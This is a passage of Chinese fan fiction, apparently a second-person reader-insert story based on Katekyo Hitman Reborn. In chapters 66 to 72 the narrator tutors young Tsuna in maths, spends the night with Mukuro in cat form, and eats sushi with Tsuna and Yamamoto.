沢田纲吉不说话了,他安静扒了两口饭,脸蛋红扑扑的,沢田纲吉小声道:“喜欢的。” 见没有人持反对意见,你满意点头:“那么,从今天开始,我就是阿纲的家庭教师啦。” 虽然关系只是搭档,但没关系,你会自己上升身份。 你心情愉悦的同时,沢田纲吉水生火热的生活也开启了序章。 第66章 “干脆就从今天开始吧。” 吃完饭, 考虑到明天就是周末,你一拍手愉悦决定。 “噫,现在吗?!” 沢田纲吉扒饭的速度都慢了几分, 想起自己那几张分数惨烈的卷子, 沢田纲吉小声迟疑地说道。虽然成了搭档后你早晚会知道他的真实成绩, 但出于奇怪的自尊心, 沢田纲吉还是希望这一天能慢些到来。 “阿纲不愿意吗?” 你只是稍稍歪头,语气变弱, 原本还有些犹豫的沢田纲吉瞬间没了想法, 他加快扒饭的动作,嘴里塞满食物, 虽然声音含糊,但配合着他连连摇头的肢体动作,你很轻易就明白了沢田纲吉的意思。 “既然阿纲没有意见,那等到你吃完饭就开始吧。” 你看了眼窗外还算明亮的天空,反正现在时间还早, 你也没什么事,正好可以在这消磨点时间。 “我已经好了!” 沢田纲吉三下五下扒完饭, 每天早上赖床, 他已经熟练掌握了吃饭快的技巧。 “真是的,阿纲又把饭吃得到处都是呢。”沢田奈奈及时伸手拦住想要跑到你面前的阿纲,她熟练拿起准备好的手帕,语气无奈,“嘴巴上也沾了好多米粒。” 刚刚还信誓旦旦说自己不用围兜的沢田纲吉红着脸不说话了,他眼神飘忽不敢看你,等到沢田妈妈擦好,沢田纲吉不自在地咳嗽一声, 他乖乖巧巧站在你面前,“我好了。” “把今天的试卷拿出来。” 你话音落下,沢田纲吉立马迈着小短腿哒哒哒跑到沙发前拿出书包里的试卷,然后又哒哒哒捧着试卷跑到你面前。你接过来,没有看上面的错题,你抬头看了眼沢田纲吉的家,想要找一个适合讲题的地方。 沢田奈奈端着小蛋糕放到你手上,“可以去阿纲的房间哦,这里妈妈等会会清扫一下,万一打扰到你们学习的状态就不好了。” 你没什么意见,倒是沢田纲吉有些支支吾吾,他抓了抓凌乱的头发,这个年纪,沢田纲吉的性别意识虽然不太强烈,但直接带你去他乱糟糟的房间,沢田纲吉暂时还做不到干脆坦荡。 不过他的房间有书桌,确实很适合学习。沢田纲吉回想了一下,忽然发现自己都是用它来看漫画的。 脑子还在纠结,沢田纲吉回过神就发现自己已经带着你来到了他房间门口。手握在门把手,沢田纲吉刚打开一条缝隙,他立马就瞥到里面乱糟糟的背景,“砰”的一声,沢田纲吉猛然关上房门。 啊啊啊啊想起来了,他的房间还没整理过!!尤其是今天出门急,导致本来就乱的房间更加糟糕。他本来想着周末的时候稍微整理一下的。沢田纲吉深吸一口气。 不行!绝对不能让你看到他脏乱差的房间!! “我先进去整理一下我的房间,春也稍微在外面等一下。” 你抬眼就看到沢田纲吉嗖的一下钻入房间,像只快速钻入湿润河土的泥鳅,你还没来得及做出反应,门已经关上了,随之而来的是里面传来的奇怪响声。你认真辨听了下,夹杂着几声沢田纲吉的痛呼,你确认是他又摔倒了。不过很快,后面还掺杂了其他零零碎碎的古怪声音。 听了一会后你停下了这个愚蠢的行为,你慢悠悠叉起一块蛋糕吃下,心里估测着沢田纲吉大概还需要好长一段时间,你打算趁这段时间好好品尝品尝你刚刚没吃完的小蛋糕。 松软绵密的奶油直达你的上颚,香醇浓郁的草莓酱搭配着甜软的蛋糕胚,中间还掺杂了丝缕茶香,你一口咬下,清爽的爆爆珠和椰奶冻瞬间在你口腔爆炸化开吗,你整个人都沉浸在甜品的快乐里。直到沢田纲吉打开门出现,你还意犹未尽地舔了舔嘴唇。 “可以进来了,春也。” 沢田纲吉抹了把额头的汗水,省略其中被自己衣物绊倒的步骤,他总算将房间收拾得能让人参观了。最起码,你走进去的时候,视野里没有出现任何一只脏袜子,也没嗅到难闻的气味。 你顺手将吃完的蛋糕包装扔到垃圾桶,拉开椅子坐下,你把干净的卷子放在整洁的桌面上,随意敲了敲桌子,你抬眼看向还站在原地不动的沢田纲吉:“阿纲来这里坐下。” 沢田纲吉不自觉咽了咽口水,而后缓缓坐到你旁边。 “有不会的先标记出来,我一个一个给你讲。” 虽然不知道沢田纲吉真实水平如何,但你也是有过替人讲题经验的,你不觉得教导一个小学生会是一件多么困难的事,你自信满满地推了推不存在的眼镜。 天黑之前,你会搞定一切! 第67章 诡异的寂静蔓延至整个房间, 你第一百零一次圈起某个错误步骤,抬起头,沢田纲吉在你的注视下将头越埋越低, 如果脚下有个洞, 你相信他绝对会毫不迟疑地钻进去, 然后再也不出来。 努力深呼吸, 你语气平静到让人害怕:“阿纲,你是怎么做到把求解未知数x消掉的?” 沢田纲吉把头埋得更低了, 他超级小声地回答你:“就…那样消掉了……” 你深吸一口气, 继续看在你讲解后沢田纲吉的答题步骤,你百思不得其解, 明明第一步正确,怎么能直接从过程到结果一下歪到十万八千里去呢,最关键的是,这已经不是你讲解的第五遍了! 沢田纲吉:“对不起——!!” 你还沉浸在自己的教学水平究竟出了什么问题里,听到沢田纲吉突兀奇怪的对不起, 你疑惑抬头:“为什么道歉?” “春也花费了那么时间给我讲题,中间还换了不少讲题方式, 但最后我还是做不对这道题, 浪费了春也的时间。” 沢田纲吉也很绝望,他感觉自己大脑的迷障在你的帮助下慢慢消失,心里隐隐知道但又好像被什么堵塞,自信满满拿起笔以为这一次能做对后,结果换来的却是一次又一次的失败。沢田纲吉根本不敢抬头看你脸上的表情,他生怕自己会在上面看到熟悉的嫌弃失望和习以为常的放弃。 他只敢低垂头听着你的声音来判断你此刻的情绪,可你的声音实在太过平静,甚至平静到让他发慌, 沢田纲吉很难从里面察觉出你的真实心情,脑子惯性往最糟糕的方向思考,沢田纲吉更加心慌了。 握笔的手一顿,你再次抬头,沢田纲吉无措站在旁边,像只瑟瑟发抖的小动物,为自己学不会这道题,他正低着脑袋等待你的审判。看着他这副可怜兮兮的模样,你心里因为教不会人的气忽然散了大半。 “这没什么好道歉的。”你语气平缓,指骨不轻不重敲了下桌子,你转过身看他:“你学不会这道题,不单单是你一个人的问题,我也有。” “每个人适应的教学方式都一样,而我还没有找到适合你的学习模式。” “至于浪费时间……” 你停顿了下,看着沢田纲吉在你说话过程慢慢支棱起脑袋,你朝他招了招手让人坐下,把批改好的自制试卷交给他,你用笔轻轻划过他中间做对的唯一一道题。 “你看,你做对了。这就证明我没有在浪费时间。” 哪怕成功率只有1%,那也代表着你的努力是有效的。 “这个题型,在第三次之后,你再也没有做错过,这就是进步。” 沢田纲吉感动地睁着荷包蛋眼:“春也!” 抬手摸了摸沢田纲吉柔软的棕发,你用指腹轻轻擦拭掉他眼尾的泪痕:“阿纲好爱哭啊。” “我、我才没有!” 不理会嘴硬反驳的沢田纲吉,你重新整理了遍他错题的原因。 沢田纲吉是个心思敏感的孩子,所以辅导过程中哪怕再生气,你也没有语气严厉地指责怒骂他,自诩是一个合格的成年人,你并不觉得把这种生气时的怒气全发泄在一个还没有桌子高的小豆丁身上是一件值得称赞的事。 你经历过打压怒骂,所以你不会成长为自己讨厌的大人模样。更何况,阿纲确实是个好孩子,你教导过程中,不管怎么样,他都有在认真听讲,甚至还会自己思考和反省,光这一点,就远超世上的绝大多数人了。 “今天暂时先到这,具体的步骤和你错误原因我都整理在本子上了,你好好复习,明天我会再次设计相同类型的题目给你做。” 你拍了拍小棕毛脑袋,目光瞥向窗外,天不知道什么时候黑了,你这才惊觉时间已经过去了很久。 糟糕,你的和子还呆在家饿着肚子呢! 揉揉渐渐恢复精气神的阿纲,你难得好声好气说话:“我没有放弃你,所以,阿纲也不要放弃自己。” 沢田纲吉狠狠擦了下不争气的眼泪,他拼命点头。从他上学开始,第一次有人愿意鼓励他相信他拉住他,心里隐隐的放弃被他抛之脑后,小小的沢田纲吉认真道:“我不会放弃的,我会努力学会它们!” “好孩子。” 你缓缓夸赞了一句,注视着沢田纲吉泛红的脸颊和亮晶晶的眼睛,见他还拉着你擦拭他眼角的手指不放,你稍稍弯腰,扯下围巾和帽子,你轻轻贴上他柔软的脸蛋。 “这是奖励。” 沢田纲吉的大脑停滞了思考,他愣愣看着你们相贴的脸蛋,他呆呆问道:“什么奖励?” “是你做对一道题的奖励,阿纲不喜欢吗?” 贴贴很短暂,你重新戴好围巾,犬和千种特别喜欢你和他们贴贴,你理所当然地认为阿纲也会喜欢。 如果说不喜欢,是不是下次就得不到奖励了?直觉忽然上线,沢田纲吉警觉竖起脑袋,他小声遵从内心真实的想法:“喜欢的。” 沢田纲吉观察过,好朋友之间就是会勾肩搭背,甚至还会手拉手一起上厕所,虽然你们不能一起上厕所,但贴贴也属于好朋友的范畴。早就在心里把你当成朋友的沢田纲吉肯定地点了点头,忽略脸颊上的热意,沢田纲吉努力适应你的好朋友行径。 甚至,沢田纲吉隐隐开始期待起真正成为你朋友的那一天。 “真的不要我送你吗?”沢田纲吉站在门口和你依依惜别,他目光担忧。 “没关系,我也是很厉害的。” 最主要的是,你不确定家里的那只现在是骸骸还是和子,如果是和子还好,如果是骸骸的话…… 你不是很想知道骸骸发现你这么晚回家是为了别人后的反应。 虽然这家伙很少在你们面前暴露真实的情感,但你能感知到。你倒不觉得帮助同学有什么大问题,但你贴心地将骸骸的感受考虑了进去。 踏着月色,告别了沢田奈奈和沢田纲吉,你一个人慢悠悠走在路上。 反正都晚到家了,也不在乎路上的这几分钟了。 “kufufufu…你倒还知道回来啊。”路灯下投来一只巨大的猫影,你停住脚步,猫咪骸顶着凌乱的猫毛出现在你面前,他阴阳怪气地笑道:“哦呀,我还以为你在外面乐不思蜀了呢。” “我才没有呢。”你哒哒哒两步上去想要抱住猫咪骸,对方却相当丝滑地不让你真实触碰到。 “真该让犬和千种来看看,他们可不知道你现在玩得连家都不知道回了。” “对不起啦,骸骸。”你双手合十,一开始的隐瞒全都作废,你一股脑地把自己今天的行程全都报备出来,“……晚上我是因为给补课啦,老师布置了互帮互助小组活动,我正好想要试试自己的讲课能力怎么样。” “哼,为什么一定要在晚上。”猫咪骸冷笑,怪声怪气道:“真是可怜我们的和子,一下午都饿着肚子。” 好吧好吧,看来今天不好好安抚一下猫咪骸你是过不了一个安稳的夜晚了。你无奈叹气,嘴角却异常甜蜜的勾起。 此刻的骸骸,是多么、多么的可爱啊。你弯起眼睛,笑容愉悦。 第68章 明月高悬, 清冷的月光照亮漆黑一团的小黑猫,你三步并两步走到他面前,蹲下身, 你直直注视着他。 “骸骸是在担心我吗?” “kufufufu…我不过是来看看你有没有死在我不知道的角落里。” “好吧好吧, 那看到我现在还活着, 你开心吗, 骸骸?” 六道骸不说话了,诡谲的异瞳在月色下闪着光, 他古怪笑了一声:“犬和千种估计会很开心。” 那两个家伙向来喜欢你。 “不过, 并盛这种地方,你要是想在这里死掉, 也没可能。” 你趁猫咪骸说话间隙里抱住了他,六道骸懒洋洋瞥了你一眼,没有动作。 触手是冰冷的潮湿,你低头认真观察,这才发现月光下黑色猫毛上反光的亮晶晶不是别的, 而是温度过低凝结成的露珠。 猫咪骸在骤然降温的夜晚里找了你很久。意识到这一点,比担忧心疼都要先涌上来的情绪是愉悦。你弯起眼睛蹭了蹭他潮湿的毛发, 漫步走在回家的路上, 你心情很好地碰了碰猫咪骸湿漉漉的鼻尖。 “骸骸怎么没有直接附身我啊?” “如果是骸骸的话,我不介意哦。” 六道骸抬爪想要按住你不安分的手,听到你的话,他爪子一僵,六道骸若无其事收回爪子。 啧,他忘记了。 “kufufu…我可不会闲着没事附身你。”四只爪子安安静静趴在你胸口,六道骸选择性忽略了他之前经常附身入你梦的事情。 “我每天要做的事可是很多的。” 你轻轻抚摸着猫咪骸的脊背,没几分钟, 你们到家了。 打开门,对着空荡荡的屋子,你习惯性说道:“我回来啦。” 低头看猫,六道骸依旧是那副懒懒散散的样子,见他没有反应,你拍了下他的脑袋:“这个时候你应该说欢迎回家,笨蛋骸。” “kufufu…我才不会做这么无聊的事。”六道骸轻巧从你怀里跳下,他动作优雅地路过你,然后跳上沙发趴着休息。竖起的猫耳朵软绵绵耷拉着,六道骸闭上眼睛。 用猫咪的身子走了那么久的路找你,六道骸稍微有点疲惫。 你放轻脚步做自己的事,没有打扰他,反正骸骸说话总是这样,你都习惯了。往常会对你说“欢迎回家”的一般是犬和千种,至于骸骸,完全是看他心情。 骸骸果然像猫咪。 洗完澡后,你轻手轻脚来到猫咪骸面前,他似乎睡熟了过去,绵长的呼吸伴着可爱的猫咪呼噜,你动作很轻地抱起他。 猫咪骸察觉到自己腾空,警觉刚一冒出头,嗅到你身上熟悉的香气,他只是闭着眼睛在你怀里换了个更加舒适的姿势。 你带着骸骸来到房间,点上刚买的安神熏香,浓郁的木香伴着散尽后的浅淡果香,屋子里很快充溢着悠然宁静的气息,你小心抱着猫咪骸躺到床上,小黑猫熟练翻滚跑到你怀里,爪子勾着你的衣领,湿漉漉的鼻尖贴着你的脖子,热息清清浅浅洒在你冰凉的肌肤,你亲了亲猫咪骸的小脑袋。 这段时间,骸骸辛苦了。 怀着大家一定会再次见面的想法,你小声道:“晚安,骸骸。” 晚安,犬,千种。 “咪。”也不知是在说梦话还是变回成了和子,在你闭上眼睛准备睡觉前,猫咪骸小声叫唤了一声。 第69章 第二天, 你醒来的时候率先感受到的是颈间温热的呼吸,迷迷糊糊睁开眼,和子四仰八躺占据着这张床, 它脑袋朝你歪着, 毛茸茸的毛发蹭着你, 难怪你总感觉自己脖子痒痒的。 在你醒来的同时, 和子也迷迷糊糊睁开了眼,它扭动身子胡乱在床上蹭着, 拖长尾音黏糊糊咪了一声, 和子往上拱了拱,脑袋对着你狠狠一顿蹭, 和子这才了懒洋洋舒展开四肢伸了个懒腰。 是金色的瞳孔呢。 你揉了揉小猫脑袋,“早上好呀,和子。” “咪~” 拉开窗帘,明亮刺眼的日光尽数灌入你的房间,看着不知不觉爬到最中央的太阳, 你恍然,原来现在已经是中午了啊。 你正打算随便去寿司店搞点食物, 走到楼下, 你意外发现餐桌上摆放着三个小饭团,你一下就想到了六道骸。拿起细心观察,意外的是,你并没有在上面发现黑色猫毛。 用猫咪的身体勉勉强强也只能包个饭团了,你坐在桌子上,就着冷掉的饭团,你一口一口慢慢吃了起来。 虽然凉了点,但味道还是不错的。酥脆的海苔配着肉松, 炸过的鸡排淋着层鲜美可口的酱汁,很快,桌上的饭团都被你消灭掉了。 “和子吃好了吗?” “咪呜!” 你走过去,发现和子的碗里干干净净,你摸摸和子的脑袋夸奖道:“好孩子,今天带你出去转转。” 带上昨晚写下的各类试题,抱着和子,你踏入家门。 也不知道沢田纲吉知识吸收得怎么样了,不过这才刚开始,不着急。 走了没多久,你远远就看到了寿司店的招牌,刚刚的三个小饭团只是让你垫了垫肚子,远还没到饱腹的程度。 你有些纠结—— 午饭要不要直接用寿司解决呢? “春也?!” 忽然,一道惊喜的呼声让你回了神,你抬起头,沢田纲吉正站在不远处的十字路口朝你挥手,他的眼睛亮晶晶的,看到你也注意到他后,沢田纲吉显然很开心,他连忙朝你跑过来。 见沢田纲吉一脸开心,你已经可以预料他之后的结果了。 “等……” “噗通——” 果然,话还没说完,沢田纲吉重重摔在了地上,扬起的灰尘搭配着他痛痛痛的呼声,你无奈上前。 “你慢一点呀,我就在这里,又不会跑。” 你弯腰朝他伸出手:“可以站起来吗?” 在你走近后,沢田纲吉的脸上又露出了熟悉的傻乎乎的笑容,他动了动自己还有些疼痛的腿,沢田纲吉抓住你伸出的手,“可以的。” “我经常这样,没什么大问题。” 你习惯性揉揉他的脑袋:“吃饭了吗?” 沢田纲吉愣了一秒,他应该是第一次被问这个问题,沢田纲吉下意识摸了摸空荡荡的肚子,“还没有。” “那要和我一起吗?”你还是决定吃寿司,扭头看向沢田纲吉,你问道:“阿纲要和我一起吗?” 沢田纲吉还没思考呢,等回过神,他就发现自己已经和你一起坐到了竹寿司店里——你许下第一个愿望的地方。 第70章 休息日来竹寿司的人很多, 还没进门你就听到里面嘈杂的人声和密密麻麻的人影,眉头微皱,你忽然没了想要进去的欲望。 你讨厌人多的地方。 沢田纲吉并肩和你走在一起, 注意到你的动作, 他乖乖巧巧等在原地, 沢田纲吉歪头看你:“春也不想进去吗?” 他拉着你走到一旁避开进进出出的人群, 大约是注意到你的不喜,沢田纲吉小小一只勇敢站在你面前, 想要替你挡住来来往往的视线, 只可惜他高估了自己的身高,豆丁点大的人还没你高, 你稍一抬头就轻轻松松看到面前的风景。 你扯过小纲吉的后领,正准备换个地方用餐,下一秒,不远处走过来一个眼熟的身影。 “春也!” 山本武笑着叫了你一声,他抱着比他人还高的箱子, 侧过身子时,山本武看到了你, 还有你站在你身前的沢田纲吉。琥珀色的眼眸微动, 山本武脸上很快绽放出一个清爽的笑容:“啊,是隔壁班的沢田纲吉。” 说着,似是想到什么,他语气有些惋惜:“本来我还以为春也会是我们班上的呢。” 原本还惊讶学校的人气王山本武竟然能叫出自己名字,听到这话后,沢田纲吉一下失了欣喜的情绪,他抿了抿唇,忍不住顺着山本武的意思开始幻想你没有做他同桌的故事。 …他的日常绝对不会有什么特别的变化, 但是如果你一开始没有因为他面对全班不友好的同学,沢田纲吉知道你一定会有一个更和谐的校园生活。 想到你的未来不会出现他的身影……沢田纲吉安静垂头,长长的睫毛遮挡住他眼里的真实想法,沢田纲吉发现自己竟然自私地讨厌起那样的未来。 抱歉,但是果然,他还是希望自己的未来里能有你的身影,毕竟,说好的要成为朋友,要完成你的一百个愿望……在做到之前,他无论如何都做不到轻易放手。 手指无意识攥成拳头形状,沢田纲吉无声抬头观察你的表情。 和山本武莫名的期待和沢田纲吉的执着不同,你压根就不在意自己究竟会分到哪个班级。在你看来,并盛不过是你暂时的落脚点,你一直都在等待着犬、千种和骸骸的到来。 至于沢田纲吉…… 眸光微动,你若有所思盯了他一眼,后者察觉到你的视线,歪了歪脑袋后睁着大眼睛认真注视你,你顺手揉揉他圆润的后脑勺。 “那还真是可惜。”脑子里思考着接下来该吃什么,你敷衍地回应,山本武眨了下眼,像是没察觉到你的不走心,他笑容依旧,“也不可惜,不在一个班我也可以找你玩啊。” 说完,不等你们做出反应,山本武看了眼时间,他快步往家里走去,“啊,糟糕,要赶紧把食材给老爸送去。” 路过你们,山本武稍微放缓步伐,无意识细致观察着你们的动作,山本武歪了歪脑袋,“春也和阿纲先等一下,我送完食材马上出来。” 沢田纲吉下意识看了你一眼,见山本武的背影已经消失着帘子之内,他寻求着你的意见,慢吞吞开口:“春也,我们要等吗?” “等一下吧,看看他要做什么。” 站在路边,沢田纲吉沉默一会,终于还是忍不住,他状似不经意开口问道:“春也是怎么认识山本同学的呢?” “你很好奇?” 见你反问,沢田纲吉不自在地挠了挠头,他眼神飘忽地左看右看:“也没有很在意啦,只是我发现山本同学对你的态度似乎很熟稔。” 而后,他又欲盖弥彰地补充了句:“其实我也没有特别想知道,春也如果不想说可以不说的。” 眼看沢田纲吉一秒十八个动作,你内心感到好笑的同时发现自己心情也放松了不少。很奇妙,和沢田纲吉呆在一起,你发现自己似乎一直保持在轻松惬意的状态中。 “我刚搬来并盛的那天,出去购物,是山本爸爸和山本武帮忙拿的东西。” 沢田纲吉垂着脑袋正要失落,忽然耳尖听到了你的声音。 …… 春也,在和他解释。 意识到这一点,沢田纲吉从心到灵魂都是一股飘飘然的状态。 最终,抬头注视着你帽檐下魔性般的视线,沢田纲吉小声又坚定地开口:“如果那天是我见到春也,我也一定会上前帮忙的。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 山本武, 并盛小学有名的棒球天才,家里经营着风靡并盛的竹寿司,即便年纪还小, 却被绝大多数学生信任着, 是和云雀恭弥一起在并盛齐名的风云人物。 沢田纲吉从未想过自己会和这样的人有交集, 最多, 他只是在人群外远远望了眼被人群簇拥着的山本武,而后又默不作声地转身离开。 今天之前, 山本武在沢田纲吉心里一直都是模糊的形象, 今天之后,山本武的身上开始多了个幸运的符号。 ……好幸运, 在春也刚来并盛的时候,在春也认识所有人之前,山本武抢先了一大步,在你心里占据了初识好人的特殊印象。 沢田纲吉还不知道自己心里的猜想和你原本的想法离得十万八千里,他只是单纯的有些羡慕。 不过很快, 这点微末的羡慕又被他移出大脑。现在的他也很幸运啊,沢田纲吉盯着你们之间的距离, 他小心翼翼拉住你的衣角, 眼里盛满了灿烂的星河。 “啊,抱歉抱歉,让你们久等了。” 一阵风掠过,抬头间,山本武恰顶着灿烂的笑颜来到你们身前,“我问了老爸,包厢还有一个空位,春也和阿纲需要吗?” 眼眸微动, 你稍稍抬头,帽檐下,你慢慢将目光放到山本武身上。 山本武笑容天然,他微侧头,眼珠转动,琥珀色的眼瞳在阳光下浅淡到几近透明,犹如还未长成的小兽,剔透的瞳孔敏锐捕捉到你的目光。 沢田纲吉心情微妙,他假装不经意瞥了山本武一眼,又在即将对视时慌慌张张移开目光。抿了抿唇,沢田纲吉垂目等待着你的回答。 你微微侧目,颔首道:“需要。” 山本武自然笑道,他朝你眨了眨眼:“那么,两位客人请跟我来吧。” 山本武无疑是个很好的沟通对象,他善于观察人们细微的神态动作,能自然引起话题又不惹人厌烦,很难想象这是一个小学生能做到的事,不过想到对方从小在经营环境长大,你又能明白山本武优越的情商来自哪了。 山本武引着你们穿过走廊,熟客打趣着山本武,陌生的视线不约而同落到了你和沢田纲吉身上,沢田纲吉条件反射挡在你身侧,你微低着脑袋,默不作声压了压帽檐。 山本武面上没有丝毫慌乱的神色,用余光不动声色扫过你,山本武笑容灿烂地回应每一位客人,自然顺滑地转移话题,他轻轻松松就将客人的视线拉回到自己身上,你厌烦的心思还未生出,那些落在你身上的目光尽数离开。眼眸微动,隔着帽檐,你听到了阵阵轻松爽朗的笑声。 其中,山本武清爽干净的声音格外突出。 “和子今天没来吗?” 领着你们来到包厢,山本武关上包厢门,隔绝了外头那些吵闹的声响和视线,他自然朝你们递出菜单,和你说话的语气透着熟稔。 “来了,它在帽子里睡觉。” 今天你穿的是水蓝色连帽卫衣,和子正呆在厚实的帽子里安然入睡。沢田纲吉轻手轻脚凑近,果然在里面发现一只打着呼噜的小黑猫。 你低头拿笔勾选着寿司,渐渐的,你的身后传来两道呼吸,不用看你都知道是谁。 山本武不知何时也凑到了你身后,他个子比你和沢田纲吉高出不少,沢田纲吉还需要稍稍踮脚,山本武只需要站在那,就可以轻而易举看到你的猫。 山本武摸了摸下巴,“这家伙倒是会找地方睡啊。” 和子昨晚睡得晚,你因为布置作业问题熬了夜,和子也硬撑着陪你一起,到了白天,即便你们睡到了中午,但和子作为一只猫,还是需要补充睡眠。 脑子里想着和子睡觉的原因,你并没有出声解释,无特殊原因,你没有和别人解释自己事情的爱好。 “阿纲,你来看看你要吃什么。” 你朝身后的沢田纲吉招了招手,后者嘴里嘟囔着什么,还是乖乖坐了下来。靠近的山本武听到你对沢田纲吉的称呼,明亮的眼睛微动,他歪了歪脑袋定定看了你几秒,而后自然上前一步靠近你。 “或者,有额外想吃的也可以告诉我哦。” 你侧过头看向山本武,正中央的灯光直直照入他的眼瞳,亮得你不小心晃了眼。你缓慢眨眼,一时之间,你竟分不出到底是灯光刺眼,还是山本武的眼睛更加耀眼。 发现自己的声音再次吸引你将目光落在他身上后,山本武笑容不变,“好歹我也跟老爸学了几年的寿司了,春也可以试着相信我的手艺哦。” 你歪头:“这里的寿司也会出现山本做的吗?” 山本武也跟着歪头,他弯眼,露出一口大白牙,“当然,因为春也是我的第一位珍贵的客人嘛。” 沢田纲吉勾选寿司的手缓缓停了下来,他听着你们融洽的谈话,垂下眸子 ,沢田纲吉忽然开口说道:“其实…其实我也会做寿司!” 话一出口,沢田纲吉就后悔了,但想要收回也来不及了,你和山本武的视线齐齐落在他身上,沢田纲吉忍不住又为你们的默契感到酸涩,最终,内心糟糕压抑的负面情绪压下了一切理智,沢田纲吉赌气般地说道:“春也要是想吃的话,我也可以做给春也吃!还有山本同学。” 啊啊啊救命,他到底在说些什么蠢话啊!!沢田纲吉在心里抓狂,他根本就完全不会做料理啊!!连洗碗都做得糟糕至极,更别说那些需要精细操作的料理了,沢田纲吉忍不住化身宽面条迎风流泪。 山本武的瞳孔略微惊讶地扩大,就在沢田纲吉忍不住尴尬的氛围想要即刻逃离时,山本武眨了眨眼,笑容天然:“唔,没想到阿纲也会做寿司啊,哈哈哈那我们之后可以交流一下料理心得了啊。” 山本武完全没有发现他的小心思……沢田纲吉不自然地避开你们的视线,忽然,他突兀地站了起来,“我…我先去下洗手间。” 你和山本武同时注视沢田纲吉离开,直到他的背影消失在包间,你这才像是反应过来一样眨眼。 “那我先去制作了,等阿纲回来,你们基本就可以吃上了。” 见你没有再想点单的想法,山本武拿走了菜单,离开之前,像是想到什么,他朝你晃了晃手里的菜单,直到你的视线完完全全包裹着他,山本武这才缓慢露出一个灿烂的笑容:“对了,我可不止擅长寿司呢 ,其他料理我也可以。” 直到山本武彻底离开,你也不是很能理解他最后为什么会说这样一句话。不过山本武有句话说得没错,等到沢田纲吉回来时,桌上真的上了好几份寿司,你确实可以吃上了。 “阿纲每次去洗手间都很久诶。” 等了好久,沢田纲吉终于回来了,你简单扫了他一眼。而且,每次都把自己弄得像只湿漉漉的可怜小狗。 “洗手池的水龙头坏了吗?” “诶?为什么这么说?” “头发、袖口、衣角……都湿了呢。” 沢田纲吉慢半拍后才反应过来你说了什么,他低头,潮湿的袖口紧贴着他,连带着干燥的皮肤都染上一层湿意,沢田纲吉后知后觉挽起袖子,脸上打起笑容,他摇了摇头小声解释:“是洗手的时候不小心溅到的。” 池子里的水从里而外溅到头发、袖口、衣角?你静静注视着沢田纲吉,眼看他在你的目光下越来越局促,沉默了会,就在沢田纲吉即将抵抗不住压力打算开口时,你率先移开了目光:“来吃饭吧。” “嗯。” 见你没有询问的意思,沢田纲吉松了口气的同时又隐隐感到失落,搞不懂自己奇奇怪怪的想法,沢田纲吉低垂着眉眼乖乖落座。 直到你们吃完了饭,沢田纲吉都还没有从古怪低落的情绪中脱离。 吃饱后,你扭头就看到一旁的丧气垂耳兔,还未褪去的婴儿肥白白嫩嫩彰显着存在感,你微抬头,对方柔软的棕发耷拉着,隐约间,你幻视了一对垂头丧气的兔耳。 抬手靠近,你戳了戳沢田纲吉很有肉感的小脸蛋,后者立马像只受惊兔子惊呼出声,沢田纲吉一下就逃离了刚刚萎靡不振的状态。 捂着脸,沢田纲吉睁着湿漉漉的大眼睛茫然无措地看着你:“春也?” “放心,这次我请客。” 沢田纲吉:“?!” 大脑运转了下,沢田纲吉听明白了你的意思,原本白嫩嫩的脸蛋瞬间红了起来,沢田纲吉慌里慌张解释:“我没有这个意思啊春也!” 他根本就不是忧虑钱包的事情!! 好吧,可能有一点点,毕竟未来他三个月的零花钱全都由你支配,虽然有点心痛,但他甘之如饴,等等,重点根本不在这里啊—— 沢田纲吉想要反驳,但话到嘴边他又犹犹豫豫地吞下。 他该怎么说?说他心思阴暗学会了嫉妒?说他刚刚会做寿司全都是骗你的,说出大话后又开始陷入无休止的纠结和自责?说他难以面对一无所知的山本武? 人生短短几年,沢田纲吉就遇到了他一生一世都想不明白的难题。他都不敢想如果未来你真的和他成为了朋友,他的心思会变得多么古怪又难以捉摸,毕竟连他本人都还没能搞明白自己的想法。 这就是交朋友的烦恼吗?小小的沢田纲吉拉着你的手,甜蜜又苦恼地想着。 第72章 吃完饭, 和子终于醒了。 帽子里传来窸窸窣窣的动静,忽轻忽重的重量惹得你扯了下衣领,下一秒, 你肩膀一重, 扭过头, 一团无辜的小黑影正歪歪扭扭站立在上面。 和子“咪呜”一声跃起, 像倒葱一样栽进你怀里。这段时间吃好喝好,小猫的体重肉眼可见蹭蹭蹭往上涨, 和子猛然一个飞扑, 压得你大腿一重。和子丝毫没有意识到自己已经不是当初那个轻飘飘的猫崽子,小猫脑袋黏糊糊地蹭着你。 沢田纲吉坐在你身旁, 显然,他也注意到了和子的动静,沢田纲吉好奇开口: “和子是饿了吗?” “中午它才吃了一碗猫粮。” 你揉揉和子的脑袋,手指戳了下小猫脑袋,你还没用力呢, 和子就像碰瓷般软绵绵倒在你身上,热乎乎的小肚皮露出, 小猫脑袋还没反应过来, 和子懵逼抬头朝你喵喵叫了两声。 你漫不经心挠着和子的下巴,没一会儿,和子就在你娴熟的手法下摊成一汪水,眼见它又要眯起眼睛,你拍拍和子的脑袋,让它从你身上起来。 一落地,和子伸了个懒腰后立马撒欢地开始跑酷。 你昂了昂下巴,“小家伙睡饱后想玩耍了。” 沢田纲吉看了和子几眼, 不过比起和子,他还是更想看着你。沢田纲吉收回视线,剔透干净的棕瞳里再次倒映出你的身影。 吃完饭,你也准备离开了,想起昨天沢田纲吉艰难啃得那几道题目,你侧头问道:“昨天的题目完成得怎么样了?” 沢田纲吉底气不足:“我感觉我有点会了。” 看他这副表现,你心里大概有了数。目光一转,见和子还在那蹦跶,你弯腰一把拎起它的后脖颈,然后转头看向沢田纲吉,语气理所当然:“你抱着它。” 沢田纲吉看看左右又看看右边,随后不敢相信地伸出食指指着自己:“诶?我吗?” “这里除了你还有别人吗?” “噫!但是我没有抱过猫啊!!” 沢田纲吉慌慌张张地接过和子,他胆怯又小心翼翼观察着和子,发现它没有想要咬人和抓人的欲望,只是安安静静呆在他怀里后,沢田纲吉勉勉强强松了口气。 沢田纲吉从小就不招动物喜欢,尤其是邻居家的吉娃娃,每每路过,可怕的吉娃娃总要来欺负他。所以一直以来,沢田纲吉都没这么近距离接触过小动物,这还是第一次。 但是,你把一直养的小猫放心交给他抱,是不是代表他在你心里也有了分量,沢田纲吉不确定地歪头看你。 倒腾着小短腿紧紧跟在你后边,沢田纲吉低头好奇看着和子。 小猫的身体很神奇,沢田纲吉只觉得自己像是抱住了一团肉乎乎的白云,手指嵌入蓬松干燥的毛发,沢田纲吉甚至都不敢用力,生怕他会不小心捏痛小小一团的黑色毛絮。 这就是和猫咪拥抱的感觉吗? 